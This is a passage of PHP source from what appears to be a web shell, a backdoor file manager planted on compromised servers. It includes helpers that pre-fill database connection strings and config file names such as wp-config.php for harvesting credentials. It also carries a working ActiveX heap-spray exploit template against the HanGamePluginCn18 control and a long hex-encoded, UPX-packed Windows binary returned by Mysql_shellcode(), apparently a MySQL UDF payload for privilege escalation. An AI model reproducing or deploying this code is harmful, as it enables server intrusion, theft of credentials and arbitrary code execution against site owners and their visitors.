    "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
    "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD/ACH5BAEKAP8ALAAAAAAQABAAAAiFAP0YEEhwoEE/".
    "/xIuEJhgQYKDBxP+W2ig4cOCBCcyoHjAQMePHgf6WbDxgAIEKFOmHDmSwciQIDsiXLgwgZ+b".
    "OHOSXJiz581/LRcE2LigqNGiLEkKWCCgqVOnM1naDOCHqtWbO336BLpzgAICYMOGRdgywIIC".
    "aNOmRcjVj02tPxPCzfkvIAA7"
	);
  header('Content-type: image/gif');
  echo base64_decode($images[$img]);
  die();
}

function css_showimg($file){
	$it=substr($file,-3);
	switch($it){
		case "jpg": case "gif": case "bmp": case "png": case "ico": return 'img';break;
		case "htm": case "tml": return 'html';break;
		case "exe": case "com": return 'exe';break;
		case "xml": case "doc": return 'xml';break;
		case ".js": case "vbs": return 'js';break;
		case "mp3": case "wma": case "wav": case "swf": case ".rm": case "avi":case "mp4":case "mvb": return 'mp3';break;
		case "rar": case "tar": case ".gz": case "zip":case "iso": return 'rar';break;
  	default: return 'txt';break;
	}
}

function css_js($num,$code = ''){
	if($num == "shellcode"){
		return '<%@ LANGUAGE="JavaScript" %>
		<%
		var act=new ActiveXObject("HanGamePluginCn18.HanGamePluginCn18.1");
		var shellcode = unescape("'.$code.'");
		var bigblock = unescape("%u9090%u9090");
		var headersize = 20;
		var slackspace = headersize+shellcode.length;
		while (bigblock.length<slackspace) bigblock+=bigblock;
		fillblock = bigblock.substring(0, slackspace);
		block = bigblock.substring(0, bigblock.length-slackspace);
		while(block.length+slackspace<0x40000) block = block+block+fillblock;
		memory = new Array();
		for (x=0; x<300; x++) memory[x] = block + shellcode;
		var buffer = "";
		while (buffer.length < 1319) buffer+="A";
		buffer=buffer+"\x0a\x0a\x0a\x0a"+buffer;
		act.hgs_startNotify(buffer);
		%>';
	}
	html_n('<script language="javascript">');
	if($num == "1"){
	html_n('	function rusurechk(msg,url){
		smsg = "FileName:[" + msg + "]\nPlease Input New File:";
		re = prompt(smsg,msg);
		if (re){
			url = url + re;
			window.location = url;
		}
	}
	function rusuredel(msg,url){
		smsg = "Do You Suer Delete [" + msg + "] ?";
		if(confirm(smsg)){
			URL = url + msg;
			window.location = url;
		} 
	}
	function Delok(msg,gourl)
	{
		smsg = "[" + unescape(msg) + "]?";
		if(confirm(smsg))
		{
			if(gourl == \'b\')
			{
				document.getElementById(\'actall\').value = escape(gourl);
				document.getElementById(\'fileall\').submit();
			}
			else window.location = gourl;
		}
	}
	function CheckAll(form)
	{
		for(var i=0;i<form.elements.length;i++)
		{
			var e = form.elements[i];
			if (e.name != \'chkall\')
			e.checked = form.chkall.checked;
		}
	}
	function CheckDate(msg,gourl)
	{
		smsg = ":[" + msg + "]";
		re = prompt(smsg,msg);
		if(re)
		{
			var url = gourl + re;
			var reg = /^(\\d{1,4})(-|\\/)(\\d{1,2})\\2(\\d{1,2}) (\\d{1,2}):(\\d{1,2}):(\\d{1,2})$/; 
			var r = re.match(reg);
			if(r==null){alert(\'!:yyyy-mm-dd hh:mm:ss\');return false;}
			else{document.getElementById(\'actall\').value = gourl; document.getElementById(\'inver\').value = re; document.getElementById(\'fileall\').submit();}
		}
	}
	function SubmitUrl(msg,txt,actid)
	{
		re = prompt(msg,unescape(txt));
		if(re)
		{
			document.getElementById(\'actall\').value = actid;
			document.getElementById(\'inver\').value = escape(re);
			document.getElementById(\'fileall\').submit();
		}
	}');
	}elseif($num == "2"){
	html_n('var NS4 = (document.layers);
var IE4 = (document.all);
var win = this;
var n = 0;
function search(str){
	var txt, i, found;
	if(str == "")return false;
	if(NS4){
		if(!win.find(str)) while(win.find(str, false, true)) n++; else n++;
		if(n == 0) alert(str + " ... Not-Find")
	}
	if(IE4){
		txt = win.document.body.createTextRange();
		for(i = 0; i <= n && (found = txt.findText(str)) != false; i++){
			txt.moveStart("character", 1);
			txt.moveEnd("textedit")
		}
		if(found){txt.moveStart("character", -1);txt.findText(str);txt.select();txt.scrollIntoView();n++}
		else{if (n > 0){n = 0;search(str)}else alert(str + "... Not-Find")}
	}
	return false
}
function CheckDate(){
	var re = document.getElementById(\'mtime\').value;
	var reg = /^(\\d{1,4})(-|\\/)(\\d{1,2})\\2(\\d{1,2}) (\\d{1,2}):(\\d{1,2}):(\\d{1,2})$/; 
	var r = re.match(reg);
	if(r==null){alert(\'!:yyyy-mm-dd hh:mm:ss\');return false;}
	else{document.getElementById(\'editor\').submit();}
}');
}elseif($num == "3"){
	html_n('function Full(i){
   if(i==0 || i==5){
     return false;
   }
  Str = new Array(12);  
	Str[1] = "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=\db.mdb";
	Str[2] = "Driver={Sql Server};Server=,1433;Database=DbName;Uid=sa;Pwd=****";
	Str[3] = "Driver={MySql};Server=;Port=3306;Database=DbName;Uid=root;Pwd=****";
	Str[4] = "Provider=MSDAORA.1;Password=;User ID=;Data Source=;Persist Security Info=True;";
	Str[6] = "SELECT * FROM [TableName] WHERE ID<100";
	Str[7] = "INSERT INTO [TableName](USER,PASS) VALUES(\'eanver\',\'mypass\')";
	Str[8] = "DELETE FROM [TableName] WHERE ID=100";
	Str[9] = "UPDATE [TableName] SET USER=\'eanver\' WHERE ID=100";
	Str[10] = "CREATE TABLE [TableName](ID INT IDENTITY (1,1) NOT NULL,USER VARCHAR(50))";
	Str[11] = "DROP TABLE [TableName]";
	Str[12] = "ALTER TABLE [TableName] ADD COLUMN PASS VARCHAR(32)";
	Str[13] = "ALTER TABLE [TableName] DROP COLUMN PASS";
	if(i<=4){
	  DbForm.string.value = Str[i];
  }else{
  	DbForm.sql.value = Str[i];
  }
  return true;
  }');
}
elseif($num == "4"){
	html_n('function Fulll(i){
   if(i==0){
     return false;
   }
  Str = new Array(8);  
	Str[1] = "config.inc.php";
	Str[2] = "config.inc.php";
	Str[3] = "config_base.php";
	Str[4] = "config.inc.php";
	Str[5] = "config.php";
	Str[6] = "wp-config.php";
	Str[7] = "config.php";
	Str[8] = "mysql.php";
	sform.code.value = Str[i];
  return true;
  }');
}
html_n('</script>');
}

function css_left(){
	html_n('<style type="text/css">
	.menu{width:140px;margin-left:auto;margin-right:auto;}
	.menu dl{margin-top:2px;}
	.menu dl dt{top left repeat-x;}
	.menu dl dt a{height:22px;padding-top:1px;line-height:18px;width:140px;display:block;color:#FFFFFF;font-weight:bold;
	text-decoration:none; 10px 7px no-repeat;text-indent:20px;letter-spacing:2px;}
	.menu dl dt a:hover{color:#dddddd;}
	.menu dl dd ul{list-style:none;}
	.menu dl dd ul li a{color:#9f9f9f;height:21px;widows:140px;display:block;line-height:21px;text-indent:22px;
	background:#202020 no-repeat 13px 11px;border-color:#202020 #202020 #202020 #202020;margin-top:2px;
	border-style:solid;border-width:1px;}
	.menu dl dd ul li a:hover{background:#FFF no-repeat 13px 11px;color:#FF6600;}
	</STYLE>');
	html_n('<script language="javascript">
	function getObject(objectId){
	 if(document.getElementById && document.getElementById(objectId)) {
	 return document.getElementById(objectId);
	 }
	 else if (document.all && document.all(objectId)) {
	 return document.all(objectId);
	 }
	 else if (document.layers && document.layers[objectId]) {
	 return document.layers[objectId];
	 }
	 else {
	 return false;
	 }
	}
	function showHide(objname){
	  var obj = getObject(objname);
	    if(obj.style.display == "none"){
			obj.style.display = "block";
		}else{
			obj.style.display = "none";
		}
	}
	</script><div class="menu">');
}

function css_main(){
	html_n('<style type="text/css">
	*{padding:0px;margin:0px;}
	body,td{font-size: 12px;color:#ffffff;background:#1f1f1f;}input,select,textarea{font-size: 12px;background-color:#dddddd;border:1px solid #fff}
	body{color:#FFFFFF;font-family:Verdana, Arial, Helvetica, sans-serif;
	height:100%;overflow-y:auto;background:#0d0d0d;SCROLLBAR-FACE-COLOR: #232323; SCROLLBAR-HIGHLIGHT-COLOR: #232323; SCROLLBAR-SHADOW-COLOR: #383838; SCROLLBAR-DARKSHADOW-COLOR: #383838; SCROLLBAR-3DLIGHT-COLOR: #232323; SCROLLBAR-ARROW-COLOR: #FFFFFF;SCROLLBAR-TRACK-COLOR: #383838;}
	input,select,textarea{background-color:#dddddd;border:1px solid #FFFFFF}
    a{color:#ddd;text-decoration: none;}a:hover{color:red;background:#000}
	.actall{background:#000000;font-size:14px;border:1px solid #999999;padding:2px;margin-top:3px;margin-bottom:3px;clear:both;}
	</STYLE>
	<table width="85%" border=0 bgcolor="#555555" align="center">');
}

function css_foot(){
	html_n('</td></tr></table>');
}

function Mysql_shellcode()
{
	return "0x4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000E00000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A24000000000000009BBB9A02DFDAF451DFDAF451DFDAF451A4C6F851DDDAF4515CC6FA51CBDAF45137C5FE518BDAF451DFDAF451DCDAF451BDC5E751DADAF451DFDAF55184DAF45137C5FF51DCDAF45137C5F051DEDAF45152696368DFDAF4510000000000000000504500004C010300B2976A460000000000000000E0000E210B01060000500000001000000090000010E6000000A0000000F000000000001000100000000200000400000000000000040000000000000000000100001000000000000002000000000010000010000000001000001000000000000010000000D8F000007400000000F00000D80000000000000000000000000000000000000000000000000000004CF100000C0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000555058300000000000900000001000000000000000040000000000000000000000000000800000E055505831000000000050000000A000000048000000040000000000000000000000000000400000E055505832000000000010000000F0000000020000004C0000000000000000000000000000400000C00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000322E303200555058210D09020A459475C59FCC587632C900000F46000000B00000260A00BC6FEDDDFF558BEC6AFF6800007148040ED064A10507506489FFD8FF9F2583EC0C5356578965E8C745FC0F7D0C0175236A00FFEDB77B012E05B008FF150970008945E4EB09B81E7363BB0124C38B2FFF000F8B4DF05FF6FFD94E0D5F5E5B8BE55DC20C0090008B442499ACFDF604C740081C100432C0C30F8F58FDAC7D0081EC8C090592C685E8FBFF77DFBD6100B9FF1733C08DBDE90DF3AB66ABAA33DB895DFC8B33DBBBFF450C8338010F85770380480439190A6C53EFFEFFBF80988B50088B0250E80A005DDC83C40885C00F84511A889DC8F6F720276B414EC9F6C785BC0A9FD9DC5D0C16899DC0090FC4D853A1FBF6DF8D8D1A518D95CCFA06528D85B80D500EB399661B2C256C44246CCDF7EFB116288B852A8985ACF605A866EEEE8C6C559C985668050134776723CD95C852240CBFBA8883C9DFDCFFB7FF9CF2AEF7D12BF98BF78BFA8BD1100E4F8BCAC1B3CDFDF6E902F3A50683E103F3A4FBF2083566B604D88B393284B4C1B5DB60E6D8FBB153006A0103FF6B63838A538B20B4283BC3752D6A0A6D84436EF0E8FB1C4F473ADBAF3D7C12516670380B52E917059E0B67B30CF72A18B9D0FA40FB0E72106AD1FA6803FA8D1D93CBD8D84268FF14D0FAC47E0990583A548D64D9BA6F3EE5117E8BF089B564B9535EC803C2993B046AA18BB810CD2ED81B0E567420C63C10FFB9E53B72C6000163E8EBBA1882FBB7B9850436D41105B0596A206A03049D306B6E037D7EB2BF0CF6B171F37B6883FEFF6A85385618DCEFEF2D94F889BD408D4764A80FF652F1DC2F942DB9590C89036A9D5679F8CFBE564F01515030108B13C6043A0009446C03E40BD18B3BD9687E2C089318580C04EB366A64B66C8DC972D031745813594ECE0E53C16551C83BE920FDC91E498B5514890AE98B03E63F61EE23C368C80B6389500C3BD37C2939D8751A3233C07F3001BB709155357A0C83910DBB954511420C8651C8D391AC91AE8D513763F24C9552CDB0069B6CC2A4E96551C51C8B6C76695D530C1FA86CB243C27B0C298B5BA5C3A71B4F08A40F8B400C8674DD5B768C07BC91591B00130BC8AEF1B72C1D750683C8FFC2C30E05DCC030D74E060C74092FF202EDB4329054554468020217F6FEBFFE7134F7D81BC04081C41A5E903D814C060F6808B8640426B073A466121C866DCBB6417B885DA87401A902ADB17EE3D2B76603B58845B71684FEF1888590FFFE7D72BB06563F84BD910AE983CF3F4F9B2E347D942C6A02227175943B5A018CEDF7751616FC1708EC3F79044888FEFE71103BC7751D560A1BC60B6C14326A107A8D74235F61B8E73A52180F66DB8D2C2C88980B531CAE9A338FCA02DD827A1D0E203DB8C9B537DC9004B9827E8B3089CAB4D6D37CB01D80B471D337110CE748BEDDEC6F6A081AA8D177E6489E04A0B6138D55A8E327325A00438D7DA883CE2D656B0763CE457537E59B512FD8B7C1028B8B8596504522D9BE1B6144418D4DA885C977DD1696139C2E06249C238D472834160750D28954283B70800CF2C67526537547C84B6CC025CF070D048CFFFEDF5EBC8549E4200866E4516A28AE11DB6E61BC52F88D2072229D489AB3985D2C1D8B35781C88D11B302A6C37DF5968311659FFFF1151BE82B96D42D6FC84FED51052D985CD06A5091CEBC5BA94506052022C069E0F3981C511788FA404FCF68450228B75087CC0807E09060A4B775B71A85F8B5E0C20D469D9D115CEF92011C8B80D124CB6177EA98AB6E00FC1E0028BC803C604C468141ADF02CC33C98A7DBFB566FBEF5E4CC1E102058D14018955E0803A4D4F586F8F818BB9AA01CC8BF2E266F3A7ED0CF26C164102C0159D0542D875477205B04C2C3908C10D00DA6E0D67EF1968D007001034E90B8795BC59C82DED1533F607B80774C03FFB9009C183C206298A023C2167DF7FE9743C843B1B3C0A741788843530421B46D889846744EBDB7FB907CABBFF6F29B6B53C33D2F3A6753B88954C0BB918D962C860784DB34C76739038C0B10B6C68E803C59378271EEB254A1D8E236534B0301BB135728144C60F4F9400D7493C77C7030B5E382E81D8BB7F1A837C2410027513060405750C5B6464046B5F23C357084F179213C888140525F1ECA263810C5456C9134CD8C9C22CBD4FE485DBCEE499566BF6CFE0FA8BCB2BCE490C0804904BB80768042700E0FE397221F724434558E0FE8108D87B96002F8BFB1B2A2327837CD98BFACBCB5073BCC8855098E0FE8D6FBFAC03B7B10DCC63DC0DAF234B21D18DC47AF02AFA7A568F638FA2C0EB0C0354AD46F2C505EED48821B01A60A081C4112684C3CFF4425689FF3B77D77857040CB911280D108D7C2418F3AB8D4C243B0D069B6C1451AB343101BA0B041B0111E5724E64F06650720D553D8755FD04BA917466380E6E8D542408D731F62D925266181108435C5C8F4F4A761850514F9481106A5CDFBFEACC4044076C1589B424809674C67652DD247C03788C5FB65E56B87B49BCBFF0FF255B3CCCCC8D87D4E1674755E7F0FF42DF86C00D5F613C5D6C7904F74104868B23B8065423740F795CEFDCD7B7A5108902B863C33E1210506AFE5C908E7F40F864FF35A900198E1AB52529582FDDD5B4BFC0ED742E3B932474FA34768B0CB38959BD2DB50A02C304B394751268F7DBBFEDBD2DB37D0EAAFF5408EBC3648F0543236C7286EA8C1A648B9C8184FF83DF7904687510E3520C3951087505CF4D05BBFB5351BB1E18EB0A082489DFDCB7B64B02439D6B0C595BFCEF56433230069F0BF758433030F7A5FAFCD82C10DBD10C74F740E42682B58DD63E3F45F812E11B8D08B67F97AD3E21737B08C1618D0C76B18FEA6EED5F744556558D6B10A80B5D5E410B33BBE85ED633783C25534F0DD41D2B38D3AF560C0E168D36B7DEDDB6C5648F358F550C3B08C77EBF73301A8B348FEBA1B8DBEB1CC9EB15884DD67A5C003F5D16466F684394BC3B8B298B419FCC256BB4031824E1D763D9B66E20CF56BDE8C0E010E24785ED75EC423C0AE0DD5B0D1A7E4DE47F34168D5AFF3ADD766B1B92784D1C8020770D2450EDC3FF4884157559598BC65EC9C3CF8DDCFAF7D7B26B71151008C3B7E0772212C7424B4F0434A759913916BDF01C6C7410131E97DEB2C3568BB5FB05D7383B42565777216A091C1FF8ECA245FBA424020C91EF2059E1DB46ED38CEC7FD85F675032863FCDA7F5E83C60F83E6F056887CA4BCC65CE23B3A6BFC4D5716F6460C4074ECEFB75D15660CB2174D29730510B35652F790357329C54E308374342411FAFEE42B502AF7FF761007176F9B34F5DD7D0525EB128B461C530B5FD2A4D87B1C0059644B2A20B25628752EE34A467A86B386F62C591AE1D81E2DFA85EFFD0A7C092CE61D90280DE157F8ED397D08470F94C0485BC31630077AC31A6E5DF1025B5756391803BA23977D6097CA146A401A0CB8CDDCF7039B4DB4DD40743DFD6E78405720AC597B741356C220D7843337E11962410B5957B4C5DA2E6018CC07835328D00CBC3010E326ABA73DB884FB1147D903CB8BFEEA5A8A4614B8F01759C93A47FF7704A94949608563EF1B385B5E5FC93A00513D7DBB8B3B1C279772148111222E2D10B5B73FF685011773EC2BC88BC40C8BE18B596EB4A32D685036C10C576D747A9BF8BAEB74D9C614F7C64D8B197507F8B77803AB756FEB21F646880747497425FF6BCFBA26291F75EB2D1D5183E303740DEE5EEF66201D2F4B75F38492C3F7C79ED9E0FD2874123AFD8A116A9B3BE93AEE6C182EFA2AD1DBC2F6C82E89FEC7D074AFBAA5DB2FB523FEC70603D083F0E8C28B4F78E1BFF5C604A900948174DE84D2742C84641EF7C26FB7B7B90F580C070875C639EB18818C34DDA3E272090E00046A2BC45A88533F550A3B6CF7EBEE075F75F8B07585A3CCFFEFDE8DC6974E8A11F161698A7101DDBF2B74644F7719148A074638D07415D90BD3D2A573E30A0A75F5FC5F51E242173E10F0078D7E436102FE3B2A50DD4E1DC60238E075C48A410376EDDDEF31188A66FF83C11074DFEBB12F348AC26B74851B9030F28DBC0CC34C05C7DB88DFFC83F8F988CC078FA7DBC668BEA3068E58BEB2427EBB8EDE3CA10E680D075925DEC12DBDD1F7FB12102760891664950803C1EDDB50F3375C32F7750940EE78769BDDD8EB7256641CA4C03968098DCC7BB3D96D345204371B366231A8FF0519627F7FBBC8EB3E6B3BC1752C390D0D7EBDFF07E6FB0AFC0D8E90E128E6320E175A89D8331A64FBC25507514EADD87E11B259BF5833A569A363097D56B457C7105EBDC0D6BB09833D482926C101740547D36EA3040322DAA4C4E809F4AED9996EFFD0080CC113CC04BCB6D410BF4E0F07EB8D01C90C4C6D6FB0BB1737575023F6467926A315ED8034032125F71F0117396C115B083C5BD8B9E241C0D01A8DD4D8B1AE6176BA310E97D801DB78C041E03A9A3A3AD3C57DCD2A7D3B8130AB756C462D6C36BE025E10A882D2F6A840B9EEDAB61BED074AA96604071017DE6EBFF77F3F4E0824FE890E89462F1883657524EF0337F72D6E66A90C0115F981FE8B03BFC75A289C0748750BC03F32AE6ABFFDD7073E3EEE5966F7270801577467420BDCB65FAC3E2BF88D48390E581849A489DEB99EF04E047E10053CFE53DCEB3683FBF6CBFFDFBA198BCB8BC3C1F90583E01F8B0C8D93808D04C002B6F4B2D08196B88498F6F320F399B156A107783A260A4B2CD15C8A9E88E614B7C0C24A0D74885507DF40A12932DF4E0C20EB0FCC16B8760C7CEB080DC2C1C8A50E864C17064802DFBA95A1E6798A1F09DB8975F411BAD06E02EC890F0EF406D1B705D74A8D370641D00939554ABF7DF7EC0F8CDC1780FB207C1304787F0E0FBE50152EC08631717461EB02F8BE2DBCBB0F84C60E94C1F804A70789D00F879A85F652EC30FF24901DB2834803CBB22CDB55CC02D8E0E4FCDCBC6DBB4D5D1D954883E8E43B0403742DC1B55EA20B1F4848840DA8D2C56E6E594039FC082708041CB28C1D0111808002C3128E9EFB2AF9B9509B687613661E6CC80F8D12469B89985B8ED80E27B476CBB2ED170A666C4441D0EBE98AF03EED5C2E641EF0D305BF30E7CE63398D0489361B346FCBDB56AE2E046874206CB880FB7790495E2EA005804DFD10EEC6FFE4203F367514807F0134CA4747271FDA628680771888D0AA8568B7C6ED0D1C0FB6C3F66601802291EC50147E06131E28981DCEB0C18DCC35EB4733181652F39BE127F8670F8F1CE508650F8D9600F9EF43DB5811EBA9847817E8430F849FB96D5D836D70036C100CB8E903AF74A146C6BE3008CCC08B25430BFDF0BD68BEFACAC54BC21921D0ADAED4DEFB894DF844E7B1C92D0E2DE47EB981381229DC7477B37D212AD64E85D220D466833878869FED5DCA094040EBE721CC80C320136B1B74AB408FB8FDF3CAD14DDB955F708DCFF3F006CB1A0D8DAFF1660377862E8848BF578089043A953F5B008DD1D6C5F490323FD80C298EDDBEBDD35A7432040974C5487CE801521C97B3B345FE3A6C59882AF4471A183147BD2002BB8916359DDE6F2CF64580D9CCB97F74170FBF00D1E8E369E652D7D8C3AD2DDC000CBF0E94AE6DB4BE6E81344D50C28D8314670B2D826B25D5165C50CCA2B5AFD483C05E08F05D4B053B6C377540FC0EBCC8D18B851FB082B8F7855082FCC9C6057EB581E69E741429F0003506BE67B324205C595D12AF788432611654562D750DD0C2BB653A29BDB9E06157A758888D8459A619694899ED2C1D0C059E0684B686FB2C805184FD331B23B1CF05F77491C9C15DD4273C602621F62BC1D1F847FD340BDB0582F6288038AF03ECF1D728176B2624FE853D6B2815CC074DBB7B10D410A6FEF65D8A13C645EA3004516377CF60DF678845EBEB4821083BC202EB35D6852E09971B209909669F08CD2DF0EC668909050706F514EB0E296A403C0A69BF1FD6A05FA53A7959EB413D74218519637405404A0C0FBB641B0CF6C099EB250BB7C8F220AFC0ECC908EBE0070E19B8F5C6DB741BE37F177C1AC073115883D2D6E2C30D9FF7DA698BFAC90B1FDEE0B50577DC83E700B27D09161B2D08FD1B2AFCAA3AC0B6FBC60BC77509E40060B733D6DEADD55E614A7F0619EE0F765B5DFDF4995250578AC009C476409C5FDB6E372AC48B66C33007C017112CCBF6DF063E39677E03035DD440F8F847D75CF78818EBB5502B0C027F02A51AEE9B03611880393075A90A009BBBEB24400FC601301A98D825DEFEB1B6F4935DFCF6C3D226F6C716CF5A8386068A2D5C0F0A2BEB47369A970902740B20C1E475E06035B6ED2B75E402F4180C7884BDDB61A91B201EF0C41011CD7C37B703EA1402E45015342C9001D94C3E3104306F6B97DA893E7441058B7EFBBB0B97688E3B78FFDD034347C8502DFC54A443DE9D7E328DE9516EA164CF3B1759984FDB962DD802C7155802F4F860A50AC977AC79A5D7193808FBF97DF729B3456313F9E86DEC99D334B75BE01830031706216D30D1354DA4ACE11B7440C6126F55424F490478DC11BA6D6C74898A02FF0EB6300BB90233E098006C4E9468254A90D68C71D8A3AE4A83B557AFA9E0B06AEA7E21B618B714AB63DB43B9833E0D07207FE3B5B628B5908B5CE81A4BE6775DD73831263C1C35100FBE065746CDE7EC505F363FC34BE26D6C3C72BE9F580081008DAE0673520C083B4163B3A177D951FC1C661D6F8DE0B474E8500F41CC5204B4702D700B30027114E0550798688478EAA3365283702294BC5DF20D50600F6E85C0750F6C60A1FBCF373E5333DB391D15B4282D5DC3431B267E44D8B8013D0E74FB768AED8D700C5540785BFF36FFD70810E0916D800A6AFF7604626BC75EEAD59C14433B487CCED915DB812D1BB81D785DF6568CFDDB41DC7078158184FFD6077415CA2083644457D42DB983867CBE100A06FE2B8F3C763BD13474230774741B647413A8AE012344D398367B845CC52BDCFF007CC45A2067C106D76A07845D1003CA44F85083EAC716DE3C856C6C3407753E576A181F3B1A1F3C8BF8D4336A113542FB8D06BC59078C08005957750ADA0E78B31F78893EEB067A1D84D9607F865F281A805E5D60FF57605AA8B11584CC40A48B4F485801B7B87501172BC5D86E2508B00006B41217B770A0FBACC70505A48BBDA118AD96AFC18DB107B88858F0E16FC47314B5042B500C81FAB27207DB210C6FBB14EBE8EC321C556E34D5880C2E6A41DEF22BA3DF60A36A5AAFC2FC57C1EE7F37AA817FCE8B7AFC69C904D24B448D8C8E1A35C50144695D695685463BF80C13F6C1012E757FFDF4B46FFAED3F495F0B0C3BCF76038E8B4C13043B03BFF84D4BF4486783F920731CBF2CD3EFBFFB5FE88D4C01C4D7217CB044FE09752B752139EB2483C1EEC15CB0E01E2D21BCB0C4124AAEF174240679F04D42ADB519DB55890A040803630DDAD6FEBB088C8BFBC1FF044F83FF3F7B865F2F5167A8DBBDE197ECC4422BE20562AEA711A188F8495ADB5AF7E6A464760589F3CA411BFB40ED56E09F3E3BFA76028ABF746B2E9101DB4C69BE51BDBA16B9E491EAD22154111E96900F0BBDD221944C72B66DB152BF49BE4A0B04658BD6CA0811910EECB610F9D40939B68900B2F9295B73DD1B0B26892F0E05087FFB652B974A638A4C0704EF20884D0FFEC1FDEBE2BB880B7325807D0F55BB888BCFD3EBD81A25DB7609190DECB109B10BC436592924DC4FE019D821B8672559040F9D84B7F0DFC0F009388B54D0891A895C13FCFF086BAA0FB348FA4EB09CDFA6AFFFACEE0D0DA80EC1E10F03480CBB03B159E9581653513A1F32068B3D081C0950080E3940DDCDDE0D31A4886C570FFE48431C7BC39F0A481080794313836004FE118378D65AA61D106C5310785A124642882D0910C9F48D72F5388B15F21430C1C2B146DA282BC892110AD307BE708D48145170411C6D428DF767FA85B43B05223518BFEEEFD81496B88905ACEB0324A3AC8935B0493138532A6627F7AE142F68578D3C822C1B8E0ED3C6481776F0176A4934000B6FD57D0E56D3EE83EDFFEE0BE0B899EB1026BE33F6D3E80EC62D3E173049AC0F3BDF7FBF5D58E20873E14BE13B232B23FE0BCF75DDAE718B0B24143B9A1872E707756D26E4FB798BDA3BD8261505EBE6740BD7A019AC24C2837B3C3BD72A68891337EBED2681397B870D1B2FEEDBC8DC7646270B7B85DB90530E61DBE2F6BC595B1089FA43A8386C75EF6E6B071BE91406891DA5148B886F0BB016FAFEFC2D8B8C90C4B6B387FDAD904488378B127011557DA1A156DD1F000E440BD68B563077BF0B75178B91841CFF45FC04BF35EBA6FFFE23390BD774E98B97CA33FF5C5A741B87584D764C57CEE68DBA12C166EC645F9DBAED0AFD7C05D1E147EB752054F9430A2BE956EFEA7FF17BC1FE044EDE3F7EF83AC9DCB85E3BF79B0D0124617421206D207D2B11A27C383AEEFEB69CD3F3EC235C88448903FE0F75EA08B181F48E7B210BEB31172B5CBBC56895A1322119293673148215982C85220AA6D76593C07A04F80095AF3F4735D77A089084C5A97CF10348AD6D420CA522C264A974B32C06FE0B7D29C499C636576A0B331162BFB0CE6EBB64978C093B0A8F097CAEEB2FEF437AC0280D8D4EB6097B04B15C8F74B1BCAD16BEEE09376A2EB7F4AEF70B890A8903FCB2790DBFED56AE03D122011232FC9F8B34126FB70E218D790F3E751AA9B0A011A92BDC4B3BA406A49772C16B119C8D420408A1C41769A10220A489C09A6E6D44B6305F89507250D401E924E15797903B319841A10B889CC0930BF8653DB868C4411B45CBD81233305C81335C89834517F04610742A1B20655783363A63198CB014BDA5461C586460B47CB1856EAD4E24C5897E060562244A196A41B98BC36E74F1E051DF3771C84108343B5A2DDCC54FE043C331B63E6E3769C0815AFB3082C3026CB745EA40080204DE4A1E88D0AD5BFB85C1E7DF790C47A68686BDE88B3B08D13768ED4D2728B28D97101342773C47834BDB8D477748F283887EF4368379778D88FC06C740FCF0420EEFD0E77E01C24804C780E810140517EA0D7E3B48F09676C78B744F0CEDADFBC405F8FC015F2689AC8D4A0C087FB8BD6C8F41649E4442BC9EE38A46438A6F75D78DC80B84C07A884E43A30978047050608CBA2CCB687EA5266189BDC3ABA031BEAB17B614AB5ECCB80002BD063BC67D07EE07DA5BA319DB134451590D8DB535C5949808211256F4A0FA648B9018E21A33C9B874EBB7193D601519890476C020D46CEFC0D50884887CEA1CBA187C8A05A09A5BFE1134B5E055539F8B04865274C3F02F5E586F0A20C220418D82787CD1AD76BBA8A29BAC80448E8C458D3746DD05E97ADEE9B96A61A796EDDF72175F6877102B56F8C03B75466E436659C37CD780A065A52718F8141E1E722A5B76E9225120592139250384205934F449A884E2948073382CC6A1FE435607F644810401741D57A86F7264B348442A7448A3FCC6CF50E245D2C775C00ADB83F4E16C668AE85C39023A3E046A9095C4166A02CBDD6BC416264B1F593BC71C196610672B59CD696F29DA19821C24DFFF1D0A05DCDB4783A383E61FF3EF8A0635FAC7A40CF68064880400C60851AE70BF7F5F597D0FC1768182434EA883C3A8FC63B4B42A197808CA6681660CF7FB3360DBD2525E06900802042A635FC5A8648605C2F6FD1FE5EA460D409C6C48C5F7D8595E1B4B5F015E991B2E0C8957FBF609705C8080F9D53766A908E0B36F1368317B907E2657503BBFADE0401BD00E8B8074DC0DB4EB0E24FD07EB072483CBFF30351A9B81EF8B5FF6F5C154F85CC185B5ACF1279788D15A63F90E7A593917EDF118D97E74A1BBFFCDA30AA57A745FF6401D32AAC18561ECA218591A8517DFBB806DC11830AF01750F505222BC80D608851D37C597B58E4A50FF028B1A7536B654EC020BF841CEB04FF44A9DE370EC463B737C8CB1423914D98487B70160C37402FB5B36E42806FDA08A7477A50538839E890BA9639456E1A05FD68E48A06017858ED552908E4C6B80C4EAAF3109BB47752053951FDA5B57F7079E8D4614759F0658A54A340BA518EB56044261DBB65E097E123E0704C53F7CD5E1EE02115B5F5B5E95DD0001C3A150DC9BBA831B0B3F6116D080660DEE6118962668025B6C02664959538926F4317D0FAF7D10012334068B5B078BDF3C2E9A45D7CE0AA8AE74157E457AFB96A27C4014A78B7781E10868B1ABEDE67429191174229580AB1616697212F863F186A53FA9495C297E393EF62BDF017D321EBC6CD046147246CD63DA56A250177A4E74D391EDADDDBBD2F76B402BFAEB42FBE3F66B1935744701982BD83F1A608976723EB00729D10F234482252450E9D42E4AE0BE169FA44BA586D8080CF1A7264385F0385DD08157106F6A23B633A465C72B7483E7FE545B3CCF56C179148A0141CEF06CA387400E75F1B3ED814975AA01605E2CDD0623955CE88AFC2B32B9A7BA51C724A95E1306B6F57EA30719EBCD8D41FF559CC309824C32C9FEFDFCD126301C8687398FA4DF221A7A0BD2F86E8A073C61051BB4F4741A3C7